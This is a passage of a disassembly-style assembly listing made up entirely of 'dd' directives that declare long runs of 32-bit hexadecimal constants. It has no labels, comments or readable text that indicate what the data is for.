4CD11A0Eh, 65011B24h dd 0E363E82Bh, 875DC63Bh, 3EDA9A3Fh, 0BF0E27B7h, 1E98AB08h dd 5A2EFEC0h, 6D5B6D3Bh, 0FE2A0016h, 668ACCB6h, 4932F599h dd 4336F0A3h, 0FE09CD74h, 0F4544141h, 0FA7001E2h, 1736D400h dd 0A86929A3h, 18EBFCCDh, 6BF50C54h, 54FAB3FFh, 3FFC61B0h dd 43D8A663h, 7905E3DCh, 0F518B0BDh, 0B92D53EAh, 63886128h dd 0CA5B8F4Bh, 0BC59C5A0h, 3E5BD7A4h, 0C26BB527h, 382EAF65h dd 11AD0B8Fh, 90F3525Ah, 211B022Dh, 5B5339BDh, 9B074841h dd 0B2F341D8h, 6B00A8B9h, 43FC93E9h, 0B2538CE1h, 6E97C0A6h dd 5F7E2E77h, 7924B5DAh, 5D21FE01h, 572E820Ah, 472F643Ch dd 6CF2C552h, 0A41A441Ch, 0B8FDC829h, 49B03428h, 6EDCE918h dd 0CD7649h, 0C879C7Bh, 0FA35379h, 4C4414B3h, 59297CCBh dd 45E6EC5Ch, 6592EA1Dh, 9D08355Bh, 0B700F992h, 9188B6C9h dd 0FC81365Ah, 8A6FD55Dh, 0DB7CF9A3h, 0F165E509h, 61733847h dd 4DEFD5DBh, 3082687Bh, 0A332A4BDh, 0C3C53C3Bh, 0AE12E4A5h dd 55E0E1A4h, 0F052A544h, 0C4005274h, 0F15C6D1Ah, 2FFE9D75h dd 65B9606Ch, 0D90AA539h, 4EDA1CDh, 64841340h, 0BD6ADCDCh dd 25C5022Eh, 2E7F8708h, 0BD573B38h, 0F04E4A26h, 617CAE4h dd 9E3611A1h, 653E755h, 3D980DCBh, 0DC381905h, 0A6EFA9A1h dd 33893F11h, 0D424CB57h, 91ABF824h, 1B70ACACh, 463C6F15h dd 0CF804A7Fh, 243FB9A5h, 0A231AEB7h, 3E86F765h, 0E521BA4h dd 0DA22A192h, 0F68F6E3Ah, 0A2DAF82Bh, 4F52409Dh, 8119277Dh dd 0A02229CCh, 9B34234Dh, 10469EBFh, 19320A43h, 2B5501BFh dd 7F62699Dh, 0AD75138Dh, 52A6E4Ch, 1A86364Fh, 8B6C9D77h dd 0AB512FFDh, 3C4904ADh, 242700h, 8A0D5AB4h, 395D2974h dd 98FA0C9Dh, 761317F5h, 244F40BFh, 0A300C471h, 32F52207h dd 6277A2A4h, 1101BB38h, 2DF175C4h, 7454A402h, 27D6F78Bh dd 0BCD46D48h, 0B8168F20h, 0A74EA095h, 9D4FAFCEh, 0ACBD38A9h dd 6F7E2672h, 3632CB19h, 0D29EBC99h, 0CA15BD19h, 0B9A8ACB4h dd 0C23A67B2h, 33597B0Eh, 9823C947h, 69A92AA6h, 7D11322Ch dd 551B9EAFh, 10EE3054h, 0BBDB12CEh, 975EDC76h, 0AF5A5EA3h dd 2291754h, 26F73596h, 4A59FBB7h, 54683BE7h, 970FE51Fh dd 0EB15F549h, 0BD74134Ah, 0AE287CD5h, 4350C11Bh, 0B59611D0h dd 313E01EDh, 0AE0344ADh, 97E8CFEDh, 69FBBA25h, 9EC10E0Bh dd 0EA2B0FA8h, 0BDDF2B13h, 1FAC1825h, 1829C979h, 0C7ED3253h dd 0ADD32770h, 9215F241h, 0B749BE06h, 0D2A9C9A5h, 0E4D0537Bh dd 0AEE3ACCEh, 46AC1D9Ah, 0A8D1CE25h, 2CD42EF1h, 0B37AD42Ch dd 7BFEADB5h, 9BDB0155h, 0B6A63FC1h, 0BFAB012Bh, 677A3C21h dd 94E04635h, 9F7141BCh, 0F511F220h, 1F187DE7h, 0FB8599EBh dd 2A4B339Dh, 7A596C41h, 5B624F4Bh, 1C60D1C6h, 90407C38h dd 9EFBEC84h, 724D2B24h, 522EB19Bh, 0A54D5946h, 0DADD1311h dd 0ED0A903Ch, 0AAE01B71h, 631A4DB3h, 7D44E2FCh, 9E010C69h dd 9C726138h, 0B82F190Ch, 77377710h, 0C457069Eh, 0DC8DC522h dd 2FCA2DC9h, 7ED08E61h, 78C26E4Dh, 0BC49ABCDh, 5E66A999h dd 1A379245h, 0BA582CE9h, 371E4B56h, 49803843h, 6FA6A980h dd 0BEA7A4Dh, 0BC9A4DE1h, 0A321EE01h, 7F7CF467h, 9D7EC407h dd 0D7DEC995h, 2222331h, 1EDEB1A8h, 581A0D19h, 6B6D1DDBh dd 77AB0D78h, 44EB0E54h, 7831EFF8h, 0D771C3E1h, 0BE33EA9Fh dd 6D34A946h, 9BB5B591h, 0D076557Ah, 0A23F8447h, 7EA9570Ch dd 0D7F93975h, 0D8BA1874h, 0FA71FDA1h, 42BF9EB5h, 72BA9BDCh dd 25F6E113h, 1B15E428h, 0D68E3963h, 75CB9EA7h, 386D7F79h dd 0D515F6FFh, 0F6A2015h, 0B7F15F14h, 1AEE6EB5h, 0A151B8E8h dd 0AC30DC57h, 50AE4860h, 48B42863h, 1068185Ch, 93913753h dd 6D2D3592h, 89B831E0h, 0AE1C05D0h, 5D209FACh, 0E2191308h dd 77C8BB49h, 2A7F7594h dd 0D1DA342Fh, 6CA0570Ah, 15F9675Eh, 0E5970234h, 6936B8F0h dd 0C2FACF67h, 9401AE21h, 0C336CEBCh, 48673D06h, 71FCEA24h dd 7D489D42h, 423203E8h, 3FECFD79h, 0F793B33Fh, 0DFA28E4Dh dd 9CA6A894h, 0BFB2F3AAh, 0D645CDE0h, 0FBB2685Dh, 54036EBFh dd 963B491Ch, 5D413611h, 0A2E9AA3h, 1E058A61h, 0C4E355AFh dd 4269494Fh, 4AC45E16h, 2F00A40h, 228AB85h, 3E295886h dd 711C10B8h, 0F0B1E810h, 0A5427804h, 0AD3E5C2h, 22296978h dd 6E31101h, 20D1E14Dh, 5218F162h, 0E00E574Bh, 0D5234EB6h dd 0BD84758Fh, 5EBEB1DFh, 82BEF550h, 0D581DDD9h, 5A10C055h dd 4706530Eh, 97854C09h, 4425661Ch, 0A1A43741h, 5E8E20C2h dd 0C2AF2B1h, 5D2FB0h, 0A0580498h, 344115AAh, 57C1E384h dd 0C33A047Eh, 0B82BFCC7h, 0BEF41301h, 0B9D2C3FDh, 2AFCBC7Bh dd 0A2FA1274h, 9E015361h, 6B7EA36Ch, 20F3593h, 8822C435h dd 5A357101h, 6355D5CDh, 0BD8918F3h, 0D432000Fh, 0AEADA65Fh dd 85E82C28h, 4612CEB2h, 3CBC6358h, 404CA514h, 632C583Dh dd 2A45C94h, 0FCDE8604h, 3B224842h, 0C2690550h, 93215C9Fh dd 8BFAC867h, 0AED50D01h, 0AC9F2AF5h, 5A46FC72h, 41C3FEB5h dd 591958EAh, 76D2CBD6h, 6EFE06CDh, 8237C043h, 81F0ED38h dd 0B457E97Ah, 0ACD8B673h, 26E99456h, 0A28FE3D8h, 5E8A0957h dd 51F6DD38h, 5C32A849h, 4A88F174h, 1DC4F17Ch, 8282056Eh dd 0B20E0AA1h, 0E3103671h, 55034482h, 0AAEC45A6h, 0DED0A5h dd 9F3ADA22h, 0C2F2D510h, 0FBB23CD8h, 0C4210D57h, 0A1D18E68h dd 57E8E18Ah, 61B80C24h, 650C905h, 47C7D079h, 47CAE38h dd 7CDE2B45h, 621A370Ch, 4F7C3589h, 0E31FAA0Bh, 5CFF1960h dd 0DDC01FF8h, 0C89537A9h, 8ACF28FCh, 418EB4E0h, 75E7E643h dd 7181957Ch, 7724C7A8h, 0A422C529h, 66EBC42Fh, 1BDE31FEh dd 604B3ABCh, 0D2981927h, 385A63CBh, 0D6D78301h, 0BB01187Eh dd 1C2839CEh, 1CA3E339h, 2D01ABBEh, 6D49B79Fh, 5512A94Dh dd 0C7D306BDh, 0F80D84D8h, 0A6D85C4Ch, 0EA7AC8Eh, 5C0C74D6h dd 23CFCD39h, 0A17BA6F8h, 55DA4C95h, 86E9F299h, 3D599D63h dd 0CFCD0390h, 1503BAE3h, 16650A3Ch, 0A2FF9EC9h, 92E0814Ch dd 0CCEC985Fh, 0DD9AAEF2h, 0B316C148h, 678E2C74h, 8A1961D6h dd 87A6A6A8h, 4AD95FDEh, 0B65B5FC4h, 41B0A53Ah, 3CEE051Bh dd 812AD1FAh, 2D4D9423h, 12607EF0h, 0B6C4FBF0h, 20096942h dd 4069ADB6h, 0EFFF5CB9h, 267232A4h, 8E76FB41h, 0ADB4C473h dd 40DBE210h, 0B54E9C20h, 29BD83h, 329DB543h, 9ED3B809h dd 374F889Dh, 7FB53E48h, 2AF14CCh, 2D5AD844h, 0D13E79h dd 0FD76A2B5h, 9DFD52B7h, 9209C1E4h, 64596B13h, 51C1616h dd 21FE4BA7h, 0D807343Ch, 2F20F85Dh, 86FF4D71h, 0B535335Dh dd 6116AE3Bh, 0EB36DAA5h, 1A62A29Dh, 0D0A1813Ch, 0BD17C03Eh dd 9D1F1C2h, 0C896B540h, 2340C77Ah, 0EB6F3965h, 52BEB5A2h dd 1B0A3D51h, 3D2D2FFEh, 57BBEC7Dh, 2D50F50Ch, 8B4A061Ch dd 7A743643h, 87E96FC0h, 41F66B01h, 0B35986DCh, 0EE40DC01h dd 70BEBB67h, 2AAD4B0Eh, 5FE39D30h, 46BF6508h, 0D96D1AE5h dd 3059C272h, 72A62932h, 926AE3D3h, 0E1CF86DCh, 25CD2C4Fh dd 670BA070h, 56D70281h, 0BE492E3Ch, 0F231AF5h, 87D7E11Bh dd 63DE4AA4h, 0F119CE74h, 0BC553374h, 0ECDFA21Ah, 70AEBA07h dd 601A5363h, 82EF281Fh, 12C5D63h, 2F54AF09h, 3538731Fh dd 0EE33E5Ah, 0B3802653h, 0A159F16Dh, 0BDEF28CEh, 35E62206h dd 3E3B846Ah, 3EC07F23h, 0C7EC0221h, 1C7C3271h, 7DFB5C5Ch dd 0DB3CED3Fh, 0BC27A8EFh, 4DA00D51h, 93371960h, 9BB487A0h dd 5A034E11h, 0AE64A14Eh, 643EAE71h, 853D2B63h, 1F70C4E9h dd 47EC807Bh, 27EDFC15h, 5EBC74B9h, 74F727B2h, 362229ABh dd 9FA98C56h, 0A7D5198Bh, 253515C3h, 991AF0FCh, 0CEC2C450h dd 0EADF733h, 3AB5767Bh, 56F933F1h, 32EE7A08h, 0AB02C9E6h dd 665C994h, 6A1FDB8Bh, 71BE11DAh, 5EAB009Dh, 9F2054Bh dd 2F7E8A95h, 0C86EB94Dh, 857AB262h, 0D5B04934h, 5F2D436h dd 86AF8991h, 0D9DC80EAh, 0ED84C762h, 5A2EED06h, 0C3E871A2h dd 835671CDh, 0C5944E2Eh, 7B7D690h, 400C8EA1h, 3352F423h dd 84465558h, 1039A0FBh, 8B2FE6Dh, 0AB3EAB76h, 6FBA7321h dd 1A2F43E5h, 0F106E2Ch, 0BB48C0B6h, 0F2B15583h, 1945A4ADh dd 5B38DF71h, 0D1E34B82h, 0C3CAB6Ch, 0B7AB13F7h, 6E5338F6h dd 1DE5577Bh, 0BA8E9136h, 3F2A4A49h, 22A5304Bh, 202ACFCFh dd 2DC35D59h, 0AA4DC06Ah, 744CEF3Fh, 45DB055Ch, 4A5ECB83h dd 97D3080Fh, 33F8ED79h, 7684F160h, 1DBE6608h, 1E812527h dd 1B04924Dh, 601B322Fh, 4F0B86F1h, 0EDA5F12Dh, 0E0C3A396h dd 374920B5h, 3568A53Dh, 0BCDB3F1h, 0A0E4EB53h, 344F49E7h dd 0B1E3E496h, 0BE90EB28h, 7DE3EE5Eh, 4B694085h, 6D549EDh dd 0D7FEAE42h, 0FE0B0D88h, 8724A5D4h, 0C56C46Ch, 0A6BC4D49h dd 39E6526Ah, 3FC42C08h, 3A62C0F9h, 0D665B10Eh, 665B737Ch dd 2447FFE9h, 0E4FAA7B5h, 0D1E9991Dh, 5B8A1461h, 75583545h dd 64B2FEC6h, 0FCA9E831h, 2EF3022h, 0A401F9D1h, 0F303062h dd 0B26D9F0Dh, 97A5A85h, 0A704FF3Ah, 9CE73903h, 5DE6AF4Fh dd 2EE600DDh, 3AA3D49h, 0C28FE7DEh, 8CCB03B8h, 24947243h dd 0A28D3E3Ch, 445D0685h, 5A4BE2E4h, 0BEED6D75h, 652B5F1Ch dd 0D0041EF5h, 55F61501h, 9DF6E8EAh, 0D8BBF17Eh, 8232350Dh dd 73124234h, 55212935h, 203331FEh, 1283CC41h, 0D0D4206Ch dd 937EC0BEh, 0FFEC2F86h, 0A8074C5Ah, 9B8D3954h, 60BE67B9h dd 0AB7400D9h, 0B90E4DC5h, 7834136Fh, 0E6EFF196h, 0BC02B0E1h dd 0B62EB259h, 520D7AD0h, 3A21F85Ch, 1C8CF0F9h, 24D1585Ah dd 35E020Eh, 0AC72E5ADh, 0AB7A89DEh, 0E20D7C16h, 3CEF8E45h dd 5CCBA7F4h, 9F8D7EB8h, 1EB8C99Ah, 562121A0h, 0EB26D2B8h dd 4A2A71BBh, 3A252927h, 91705BB6h, 0E863160Ah, 3B23EA91h dd 71084BBCh, 4D2EB0F4h, 0FBEBE7Dh, 3C543CB5h, 0D60824EEh dd 0BFCDA3DBh, 0BC31B30Eh, 0B4067F24h, 0EEBB58Eh, 55050CA9h dd 0F3BBEE1h, 18E84832h, 0BCA4B34Ch, 649BAA0Fh, 0A1CCE1A3h dd 0BF22D226h, 0B559DE91h, 499C583Ah, 1C364682h, 88DDA7A9h dd 531181EDh, 0A7D1334Dh, 619D06A0h, 0DBABD968h, 274257B2h dd 25F8DD54h, 0C691BBAEh, 0DE8A95E5h, 0FCFFD8ABh, 6395FC2Ch dd 2C5B47F7h, 5BBB4BFEh, 0BAF27234h, 0DC17CEB7h, 0CDAEC428h dd 14822ACEh, 47325576h, 43C4B829h, 8214E10Ch, 80711B30h dd 0E2DC37CEh, 1F05F922h, 0DC6957FDh, 0FA377ABFh, 93841D3Fh dd 0BF16E3ECh, 9A95156h, 53591E68h, 0E9C8BAh, 0A64435C1h dd 0C94ABC51h, 4C221202h, 0A7243041h, 8F8298CCh, 1D983BBDh dd 0EF909E03h, 0D7AB2961h, 0DF6A9B11h, 5B0F5E49h, 0ADD8513Ah dd 72272D67h, 7A00505Ah, 58F24FC2h, 36C15D13h, 21FE7EBDh dd 45BB950Eh, 9E9D39F7h, 0A372B43Ch, 983BAD19h, 3E4E67A3h dd 4131A764h, 42D523B1h, 0E435BBCh, 0E65BFFBCh, 335D30ECh dd 0E223F77Ah, 2A0219B4h, 2B949663h, 623D6135h, 4FE6A0E9h dd 5D8736F1h, 0AD4C655Ah, 0D25DEC6Fh, 5B1ECB6Fh, 0C0210DFDh dd 0EE84D7C6h, 68B7F47Ah, 9F952DC8h, 107B4771h, 0B17D3C3Ch dd 0AFE21C38h, 8AB575F2h, 2DD7466Ch, 73F440Ch, 1F0D329Dh dd 4CF62478h, 1AB8A9D4h dd 221498C1h, 26A354A2h, 0FFBA015Ch, 0DEA0F57Fh, 0AE0E784Ch dd 5829FC48h, 0ED121ADDh, 54E9C045h, 2EE8EB9Eh, 852E0D05h dd 1C5A89BEh, 0B88339CBh, 3F5E37A4h, 0C0D43968h, 0FF66227Fh dd 1F3632EFh, 2E08B1DCh, 0BC21FE5Dh, 0E4FC9E96h, 0D7A35BA7h dd 4EDC206Ch, 0F6B94ABDh, 8ACA8346h, 2F4FF73h, 6105643Ah dd 0CEF952B5h, 866EA2A5h, 3F134947h, 0DA362B40h, 9C733043h dd 0E218E0D4h, 5A95F53Dh, 0DEC51473h, 0A6F04962h, 5E8A6940h dd 2DB7F1D8h, 1FC63EBh, 88E9A920h, 0ECBFF344h, 5D64A87Dh dd 57779052h, 6ED9AEBAh, 0FE068942h, 212CC87Ch, 173F3385h dd 56132B2Ah, 2F3E072Bh, 0F2BD0AB7h, 4389AC1h, 44FA36BDh dd 9D4A193Ah, 382FB6C1h, 7BFDFD4Bh, 243191D3h, 8515007Bh dd 5A440348h, 1A1D0843h, 29F86875h, 17405A25h, 0C843492Ch dd 0DD77B05Eh, 5ED6EBC6h, 45F4FA79h, 1EDECD6Ah, 0EFFE0E51h dd 0C22715E0h, 53DCF221h, 0F20800A1h, 0C040A328h, 3A0306CFh dd 5F07EE5Ch, 8D0E67F0h, 535B55C0h, 4C89845Bh, 6E59BFA6h dd 452D6263h, 99BE3DDDh, 9727A75Eh, 0B3D1B41h, 0F619F865h dd 74AE2AC1h, 9561EAF7h, 0DDE773A5h, 7C5820D5h, 0AA8AD0ADh dd 7CE1D45h, 70C6693Bh, 83EDFA7Dh, 0E53C1A9Ah, 494DD0Dh dd 0EC46BFA2h, 0F6044378h, 57E8A8D6h, 84B18F99h, 0B262B491h dd 86684BA2h, 3A52961Dh, 0A4D401Ch, 0DAD10F24h, 23EB285Dh dd 1C4043F3h, 0E7A6C46Eh, 0FF9FC976h, 0A675BB57h, 8F200E9Dh dd 70FC65C7h, 0BC184807h, 7AC684E9h, 608D016Dh, 3F2DE10Fh dd 570C63Bh, 2389A8CEh, 303751C1h, 4C22CC5Bh, 1A23AF46h dd 4DBC53E8h, 18C7DDB9h, 66DD3EB4h, 24F9087Ah, 52DADD61h dd 0A188A371h, 5148DDEEh, 61CE2364h, 28DAAE62h, 411DB51Ah dd 0B97C879Dh, 0B802AD7Dh, 476CA1B9h, 37418798h, 0BB59E2E2h dd 5EC6F642h, 674CC32Eh, 384E9149h, 0F2331A06h, 55BFAE2h dd 0FE9F1AD8h, 895930BDh, 88D5B32Eh, 62CC57FFh, 75C6836Ch dd 2D6C0714h, 4F3E9619h, 479F4C06h, 98683405h, 0BAC7C3F2h dd 15EC18EFh, 4503AC1Eh, 6D1461FEh, 50FABD9Dh, 0F432AA35h dd 0BEC53382h, 0E8A3755h, 4B1643CEh, 5CDB12B5h, 7D552ABDh dd 4C4A0CF1h, 590A0375h, 0BCDA89BFh, 4A3CBFB6h, 0BF1E5E3Ah dd 0CA23104Dh, 0F3CDFAFFh, 0EFD90E88h, 713D7140h, 0C36D5F52h dd 0AB4D1163h, 4FDB6A9Dh, 24757FAEh, 0E0EC16B3h, 8BFDEBACh dd 0E3BAE664h, 377B271Eh, 438E3D37h, 242FA4A3h, 6B6411B1h dd 0F3FE2A3h, 0B6BD2246h, 0E209E065h, 7B114A29h, 0BCC4E3F3h dd 5810586Dh, 0C9F935B7h, 0E2A06A4h, 3045A1B5h, 173F4013h dd 0D7B6A9B8h, 5CFC19A5h, 0ADC6716Ah, 0A4E61887h, 62D03E59h dd 9EB18827h, 0E700209Dh, 14DECA54h, 0A21778DDh, 0D3311E35h dd 56C2E0C3h, 12B78A92h, 9E5E2679h, 25F00629h, 0AA082C86h dd 0A83F2D3Bh, 0B93533D7h, 6765EF0Ch, 0B6BA39E4h, 0E822EA24h dd 765E1327h, 7EF26229h, 54410D50h, 5608DF4Dh, 16EA0404h dd 19C8ECBAh, 38A50EBEh, 0DD1DC19Dh, 7E75DF52h, 9EC136B9h dd 9CB61B15h, 0BF30F953h, 0CBFE1D56h, 0C7285451h, 690FDB4Eh dd 7083EB91h, 424819B0h, 5D3D79Dh, 98B9F724h, 0DB1FD39Ah dd 4C7BBC5h, 408C6039h, 0A1259315h, 8289A5A1h, 66CE759Eh dd 383AF108h, 86CA246h, 8EC5FCADh, 5AF7AD70h, 0E8196B23h dd 18090F35h, 9D8237A3h, 96C62EADh, 0AEAE1F5Fh, 6845D338h dd 0AE93E63Dh, 0A91707B9h, 4C985975h, 67E5127Ah, 0F83F4A3h dd 7AF4F6D3h, 0E3B8A7BDh, 0B41322F6h, 925963A3h, 9BDF558Fh dd 0CB9E709Dh, 216C6338h, 0B034C900h, 0E3847375h, 498ED930h dd 742B24B3h, 0A2BB07A5h, 0B92B5825h, 0A33B2C26h, 47029F45h dd 8562509Ah, 6161B47Dh, 0C1A7D4Ch, 483505B9h, 0BB384A11h dd 63154F29h, 128447A4h, 9D120B8Bh, 0BA279935h, 51D2BE4Ah dd 8711C5E8h, 0F35701FAh, 30377830h, 1AFA8B5Bh, 1DB581ADh dd 712650D2h, 97658408h, 0B058D0EBh, 758D1B09h, 0A2DE6CF4h dd 90C47170h, 5817A5E6h, 0B0774962h, 822986B1h, 0F57326Ah dd 0C94E6D01h, 9ED8C244h, 5E442F31h, 35BA88Ah, 0DB230046h dd 0AF161A0Eh, 0F5C3A561h, 0B62C1CB3h, 21B2075h, 6FDE53FDh dd 0A9F2CD37h, 877B6844h, 0DF08AF69h, 3502FA91h, 9B293ABCh dd 2489E43h, 815EAC56h, 9B411E07h, 0F29ECCA8h, 0FDF16125h dd 0EBD00E89h, 33820E98h, 0D340BA2h, 2CF5B1ADh, 2EE54D9Ah dd 326C5124h, 66011B91h, 88E88CDDh, 0E0553452h, 0CBC3D851h dd 7DBDD148h, 0A7D872A6h, 0C2389A26h, 5AFB12A3h, 6C6CC67Ah dd 502CBD0Ah, 4111FF83h, 0B36572AFh, 0C48EC909h, 0AD25C03Bh dd 0A0534B7Ch, 44133E2h, 0FCAAA0BFh, 9BFEA7BCh, 7E226F39h dd 60C465BEh, 5C9BA521h, 8535D2A0h, 0F304293h, 93972CBEh dd 73CC6D20h, 887D2B06h, 404AECC9h, 2B2E0248h, 3A34C0B3h dd 0BEDD20A8h, 0B270D8ECh, 28AA1DE6h, 4E9732A1h, 5E07977Bh dd 996D615Ah, 0A622ACB6h, 6C20A2A4h, 238ED75h, 0AB079985h dd 0B64A7323h, 42E33862h, 0D49D0AFDh, 35ED62B7h, 0E79BC738h dd 9613FCE0h, 0C22D86A6h, 61052593h, 5A71F563h, 9E85BC28h dd 98A1311Dh, 8562FE56h, 6E879D60h, 0EE8E9A56h, 3D3E4B58h dd 80847910h, 651AB0E9h, 0F7E2AD3h, 953302B3h, 0BEDA1941h dd 0E2239A47h, 16116E3Ch, 0D5A66C05h, 0B6023382h, 3C2E932Bh dd 0C2B6FD1Dh, 41FB5231h, 894A95A1h, 8D8C4BC0h, 4D1FB27Ah dd 5A5B890Bh, 94E28A07h, 2D12DF9Dh, 0D7328172h, 0AEF32209h dd 0F1EC64DAh, 8FD9FC1Eh, 9E311CC1h, 629433Dh, 71AD3159h dd 0BE1216FFh, 0BAA6911Dh, 0AB38675h, 7198F348h, 46F3433h dd 1E39FD15h, 535806B3h, 9818ED6h, 43796B1Eh, 0B2128876h dd 3F104289h, 4B286D6Bh, 0DDE6C649h, 27CEB3E5h, 5CD2CDDAh dd 8F26DDA1h, 0A9BCF32Ch, 2F09B820h, 0D50BFC20h, 6F5F300Eh dd 0ACE5176h, 0C845906h, 0F54D5102h, 1F5484ECh, 744B130Bh dd 150265EDh, 6D613C5Eh, 2E930F4Bh, 0BC4DB026h, 993D3079h dd 825A800Dh, 4B3402C4h, 9EF34E4Dh, 0B9D839E9h, 203B8506h dd 111A847Ah, 6C093EE2h, 0EBB3525Fh, 0C438B7DFh, 74FE29B8h dd 0CC5797B3h, 8FE08A7Ah, 0AA16BA74h, 661307D1h, 0A7231D42h dd 87D95AC4h, 5C390C36h, 8BF57369h, 0F7562714h, 5F5AF8B8h dd 9F029C33h, 9077515Ah, 3D76BD5Bh, 0FC350EC8h, 4EF2A27Eh dd 0DC472B65h, 23C1239Fh, 11849EFh, 0BBE08594h, 16803D4Fh dd 5E185F49h, 621D6781h, 92F2C182h, 261E66EBh, 0AB627508h dd 6C084A53h, 0AEBD088Ah, 4D76ED48h, 85313965h, 9EB60447h dd 9289399Bh, 2C1414Dh, 0BB2588DDh, 21A32AB9h, 11D43107h dd 0E3F167BCh, 0B51AE6E1h, 9636B306h, 3FCBA75Ch, 0DB8813A6h dd 7D544ACFh, 0C4E044D1h, 8A4673h, 0AF634D43h, 0BB501A95h dd 6C68F4D3h, 0E435EB9h, 84402B5Ah, 51C7114Eh, 4CC42CB7h dd 424070E6h, 89429924h, 0B1598C3Ch, 0B933BAD2h, 0ECF84099h dd 3465F2BFh, 62EA2982h, 71010EEDh, 78F82EC1h, 43EC76DCh dd 0CCFA985Eh, 0A91D606Ah, 6F9E4B3Eh, 93C1AC4Ch, 1120A8AAh dd 0E218600Bh, 84B44898h, 0B311E868h, 39232F80h, 0AD2BF04Dh dd 0FDC902BBh, 0D9AAC9E3h, 0F12E4591h, 0AAD901BBh, 5EEEA9F8h dd 0AB2503E2h, 5F5129ECh, 5CBE96E7h, 0E99E03C5h, 0B636A0D5h dd 0BFDCDD96h, 103F3AD7h dd 77C6BFB4h, 28BEC963h, 7CFB9C44h, 5BC74BB0h, 0A9B06434h dd 0A1E9312Fh, 1223D666h, 758BBD67h, 7CD61D4h, 49B7F911h dd 3AEE473Dh, 3A335836h, 238F3605h, 5BB4199Ah, 27213927h dd 6ADD36E2h, 2B060AC4h, 50166525h, 183C01C7h, 59B6E356h dd 0B1E1005Dh, 0A11B3144h, 0F6323B66h, 1F3017EAh, 0A6C72E45h dd 9F05F963h, 0F97A1943h, 75927189h, 9249375h, 0AF6E0663h dd 0C4066EB1h, 0A78AF180h, 0F9D7CFE2h, 23012811h, 0ACEAA835h dd 62C80D1Fh, 0BCE5B023h, 0B73B41DBh, 544020A4h, 9F3F2DD4h dd 0A13AB9BFh, 0E8E02EBFh, 3741B54Fh, 65210F9Dh, 411C47C4h dd 8EFE3D03h, 30372708h, 3BFF49E5h, 14362FB4h, 85ADE8E8h dd 6CCE8B53h, 24434362h, 4AF56475h, 92C4A0FCh, 4695F73Eh dd 0A3634B01h, 4D3768EEh, 3287528Fh, 272D8237h, 0DCACAD0h dd 62EB2290h, 5A3C8F11h, 42C21369h, 0AE3C04A3h, 996293A9h dd 0DF80B6BEh, 0AA104A92h, 45212EAEh, 4FFAE657h, 4D8525E1h dd 0FE116595h, 8F6D1291h, 0A9DB7552h, 0B60CA32Eh, 69B5C757h dd 46650E08h, 3E9E252Fh, 885329Ah, 65321966h, 0E71C850Bh dd 0A00CA981h, 3BFC0962h, 16DD0DFFh, 7DB937B8h, 78980B68h dd 0C16525F6h, 2D8DE928h, 1C083E23h, 0CE9C7ACh, 73E5670Dh dd 246BDD20h, 32174FE8h, 0A3F9BE2Dh, 7770E9AAh, 5F79368Eh dd 0D6B920D8h, 8BC66479h, 40ADDA5h, 405AFE41h, 564C1DD9h dd 1CEA48A4h, 0A23BFB38h, 10412AC6h, 0F90240A3h, 363A6BFEh dd 47EDE3E5h, 70583EB5h, 67418F73h, 0C99BADD1h, 4D7D7DC6h dd 1A334D83h, 0CABF0DB9h, 0CC22F86Dh, 0BDDE0660h, 20E6FD4Dh dd 0B8ED2262h, 8F81C4E1h, 6E8214B6h, 7DA2D10h, 71EFF3BFh dd 252C230Fh, 0BD59B568h, 0ACE72646h, 66FFD9AEh, 0A0C93A5Dh dd 5A3F5F8Eh, 9B43BB84h, 0B0CF493Ah, 0A5EE3425h, 0D79AC546h dd 0A7015C45h, 0F96A820Ch, 6FD0AC45h, 0A32B1CA6h, 3B111013h dd 77E43665h, 31BC9A0Ah, 76FDA945h, 1BE23484h, 0AF9AF39Ch dd 2CB787B5h, 4DAD5D46h, 0F0FB64E7h, 0C8C43256h, 62C19EF9h dd 0ADCEEF00h, 3F455178h, 44790C12h, 405EFD25h, 4F2B079Dh dd 9759B08Eh, 6E13422Ah, 9CE7CB98h, 0FB03A672h, 6B8865Dh dd 6B7701F5h, 3C40886Ah, 2B79FC86h, 78F502F9h, 9BC7637Dh dd 923FADF3h, 9C05ED38h, 650998BDh, 6DEDB3A3h, 0C2EB38DAh dd 650845D0h, 10F1CF8Eh, 546056D0h, 842F96DBh, 33C3FD48h dd 4E46AF1h, 0FC9E13ADh, 82312A4Ah, 408CD83Dh, 304E6659h dd 0E8DC3E1h, 352B7BBh, 502C61BAh, 0B0417A44h, 9086AD4Dh dd 0A33112E1h, 0ED4CF5A9h, 49435F49h, 66B33EACh, 566ABE35h dd 47599987h, 69145A24h, 43CF1DBCh, 8B3C1667h, 0FEDACE4Ch dd 0EC8768E5h, 84AC0AF5h, 7FA2FA16h, 0BEE3E32Bh, 7982D49Ah dd 173F187Eh, 25E6D0B1h, 0AB609E7h, 0AACF1338h, 2AE551D1h dd 0E25E9968h, 103FDC26h, 6CBCB485h, 9E2D3ACCh, 6EDA4ABFh dd 745BFBFDh, 75B23E5Bh, 462A06D3h, 0B4153F04h, 108E6C6Ah dd 4BA248D9h, 0FDAA95A9h, 1C98C2A1h, 4DD20DABh, 6DB26545h dd 4955BDADh, 90C8BF8Ch, 0F9083866h, 0B3E0B067h, 0F7C0A24h dd 0B4AC1B5Fh, 0AC941AE1h, 4412B430h, 9B32AE48h, 0BD59B5C7h dd 7E634E4Ch, 532C3156h, 30F8E279h, 14F60FE8h, 9E59AC90h dd 0A45B1631h, 94A501D9h, 0FBFA6772h, 0DBA5293Eh, 4B1B0A63h dd 0A27BE37Eh, 0BB227F70h, 0BD626D5Eh, 0A6413815h, 0A223924Dh dd 9869407Dh, 44630360h, 0A9FD003Ah, 0BEBB9A7Ch, 0D9FCD733h dd 1247846Ah, 40B1E839h, 0F61C5F31h, 7F2C1CA5h, 146C2AC8h dd 585B1416h, 0F6E06310h, 6B82B519h, 5ACF7AB3h, 0B4EDF153h dd 6D7E249Dh, 400B2DF1h, 4E7B8B85h, 0B1477B1Ch, 2BBEE02Ah dd 0FD75311Eh, 3C9327A1h, 5DB8020Fh, 0AFEACD27h, 6B2E746Fh dd 0A3132A1Bh, 78F64205h, 6D7E7717h, 7A44F2A2h, 64C02732h dd 4A1B414Eh, 7C2A7DEEh, 9C33620Dh, 28394170h, 0AE8FAD4Dh dd 5C328223h, 70293095h, 4F00F656h, 0FC733EAh, 4B36D15Ch dd 0EC7EE935h, 8C1D315Dh, 8D3F10B8h, 0A2FDFF65h, 0C0B51D44h dd 676343DDh, 5DB72D72h, 6BC7005Dh, 872E63EBh, 5A1A31FCh dd 0B31D3A5Fh, 553C2CB4h, 12583A3Dh, 92AD4B2h, 0AB7B3596h dd 0B98102BEh, 6BA081BDh, 0AA805D44h, 0C6DB8958h, 